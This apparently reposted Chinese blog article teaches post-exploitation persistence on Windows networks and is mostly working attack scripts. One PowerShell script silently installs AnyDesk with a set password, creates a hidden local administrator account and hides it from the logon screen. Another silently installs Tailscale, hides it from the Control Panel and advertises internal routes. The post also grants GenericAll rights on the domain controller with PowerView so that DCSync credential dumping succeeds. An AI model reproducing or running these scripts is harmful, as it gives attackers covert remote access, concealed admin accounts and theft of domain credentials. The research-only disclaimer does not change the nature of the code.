后渗透维权

admin 2024年12月28日13:39:43评论3 views字数 3412阅读11分22秒阅读模式
在内网渗透中常用白程序进行维权或者横向,能够有效绕过杀软等
利用anydesk
创建一个新的隐藏用户并用它来安装anydesk
"[*] Download AnyDesk"$clnt = new-object System.Net.WebClient$url = "http://download.anydesk.com/AnyDesk.exe"$file = "C:\windows\temp\AnyDesk.exe"$clnt.DownloadFile($url,$file)"[*] Install anydesk"    cmd.exe /c "c:\windows\temp\AnyDesk.exe --install C:Users%USERNAME%AppDataLocalAnyDesk --start-with-win --silent""[*] set anydesk Admin!@#45"    cmd.exe /c "echo Admin!@#45 | C:Users%USERNAME%AppDataLocalAnyDeskAnyDesk.exe --set-password"    cmd.exe /c 'del c:\windows\temp\AnyDesk.exe > nul 2>&1'"[*] Creat user default""[*] Set default Whoami!@#45"    cmd.exe /c 'net user default "Whoami!@#45" /add > nul 2>&1'"[*] Add user to admin"    cmd.exe /c 'net localgroup Administrators default /add > nul 2>&1'    cmd.exe /c 'reg add "HKEY_LOCAL_MACHINESoftwareMicrosoftWindows NTCurrentVersionWinlogonSpecialAccountsUserlist" /v default /t REG_DWORD /d 0 /f > nul 2>&1'sleep 3    cmd.exe /c "for /f ""delims="" %i in ('C:Users%USERNAME%AppDataLocalAnyDeskAnyDesk.exe --get-id') do echo %i" > ID.txt $id = Get-Item -Path .ID.txt | Get-Content -Tail 1 "[*] ID anydesk $id"
上传执行
后渗透维权
后渗透维权
用上述ps脚本创建的账户登录
后渗透维权
利用vpn
利用tailscale vpn来解决内网渗透中隧道不稳定的问题,或者维权
$ping = ping -n3 pkgs.tailscale.com -w5 | findstr "bytes=32"if ($ping-match"bytes=32") {      "[*] Ativando suporte a TSL versao 1, 1.1, 1.2, 1.3"    [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls,[Net.SecurityProtocolType]::Tls11,[Net.SecurityProtocolType]::Tls12,[Net.SecurityProtocolType]::Ssl3    [Net.ServicePointManager]::SecurityProtocol = "Tls, Tls11, Tls12, Ssl3"$status = (get-service tailscale).DisplayName 2$nulif ($status-match'tailscale') {"[*] TailScale is already part of the system"          }else          {try        {$Response = Invoke-WebRequest-Uri"https://pkgs.tailscale.com/stable/tailscale-setup-1.78.1-arm64.msi"$StatusCode = $Response.StatusCode        } catch {$StatusCode = $_.Exception.Response.StatusCode.value__        }if ($StatusCode-match'200') {"[*] Downloading Tailscale..."$ProgressPreference = 'SilentlyContinue';Measure-Command-Expression { Invoke-WebRequest-Uri https://pkgs.tailscale.com/stable/tailscale-setup-1.76.6-amd64.msi -OutFile$env:publictailscale-setup-1.76.6-amd64.msi         } -ErrorAction'SilentlyContinue' | Out-Null          }else          { "[*] Page not found"          }$msi = Test-Path$env:publictailscale-setup-1.76.6-amd64.msi -ErrorAction'SilentlyContinue'if ($msi-eq"true")        {"[*] Installing Tailscale..."        msiexec.exe /i $env:publictailscale-setup-1.76.6-amd64.msi TS_CHECKUPDATES="never" TS_INSTALLUPDATES="never" TS_NOLAUNCH="1" TS_UPDATEMENU="hide" /qn | Out-Nullsleep3"[*] Hiding Tailscale from Control Panel..."        reg add "HKEY_LOCAL_MACHINESOFTWAREMicrosoftWindowsCurrentVersionUninstall{4C041253-D35B-5889-A173-B08110EB2062}" /v SystemComponent /t REG_DWORD /d 1 /f | Out-Null"[*] Installation completed!"        }else        {"[*] Error downloading the file...""[*] - Installation file not found..."        }            }         }else         {"[!] Installation was aborted! Possible disconnection with the domain pkgs.tailscale.com""[!] - No connection to the domain pkgs.tailscdale.com"         }
通过生成authkey加入
后渗透维权
tailscale.exe up --authkey key --unattended
后渗透维权
设置路由
tailscale up --advertise-routes=192.168.0.0/16
设置acl 
只允许攻击机访问目标的路由,或者通过标签来设置acl
后渗透维权
成功加入
后渗透维权
可以通过创建一个完全隐藏用户 在创建的隐藏用户上来执行anydesk tailscale 或者其他的程序,这样隐藏的更深
利用acl配置
在域内后渗透中除了使用一些票据进行维权也可以使用acl配置进行维权,通过修改用户的dacl属性赋予GenericAll或者dcsync权限这样可以进行dcsync
通过powerview2.0  Add-DomainObjectAcl
在没有给域内普通用户赋予GenericAll权限时
后渗透维权
赋予GenericAll
Add-DomainObjectAcl -TargetIdentity "DC" -PrincipalIdentity $sid -Rights All-Verbose
后渗透维权
再次进行dump
后渗透维权

原文始发于微信公众号(looch):后渗透维权

免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2024年12月28日13:39:43
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   后渗透维权https://cn-sec.com/archives/3549299.html
                  免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉.

发表评论

匿名网友 填写信息